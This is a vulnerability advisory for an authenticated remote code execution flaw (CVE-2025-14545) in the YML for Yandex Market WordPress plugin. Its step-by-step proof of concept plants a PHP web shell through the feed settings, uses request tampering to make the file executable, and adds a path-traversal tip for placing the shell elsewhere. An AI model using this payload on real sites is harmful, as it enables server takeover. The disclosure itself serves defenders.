YML for Yandex Market < 5.0.26 – Shop Manager+ RCE via Feed Generation | CVE 2025-14545

Description

The plugin is vulnerable to Remote Code Execution via the feed generation process.

Proof of Concept

1) Install and activate WooCommerce:

ddev wp plugin install woocommerce --activate-network

2) Install and activate yml-for-yandex-market:

ddev wp plugin install yml-for-yandex-market --activate-network

3) Login to WordPress dashboard as Superadmin and add a user with Shop Manager role
4) Login to WordPress dashboard as Shop Manager and click Y4YM tab
5) Click "Add New Feed", click "Filtration" tab and insert payload into the "Change domain to" field:

http://example.com</url><?php system($_GET[0]); __halt_compiler(); ?><url>

6) Scroll down and click "Save"
7) Open Main Settings tab and change "Creating this feed" to "Create a feed once and do not update"
8) Scroll down and set "Name of the feed file" to "shell"
9) Enable Burp Intercept, scroll down and click "Save & create feed"
10) In the single intercepted request change y4ym_file_extension value to "php"
11) Forward the request, go to Y4YM home page and wait for the feed link to appear
12) Once the feed link is generated, visit it with an appended 0 parameter containing your shell command: http://example.com/wp-content/uploads/shell.php?0=ls%20-la

The file name is also path-traversable, so if .php execution is disabled in uploads, you may relocate it to any other directory that is executable.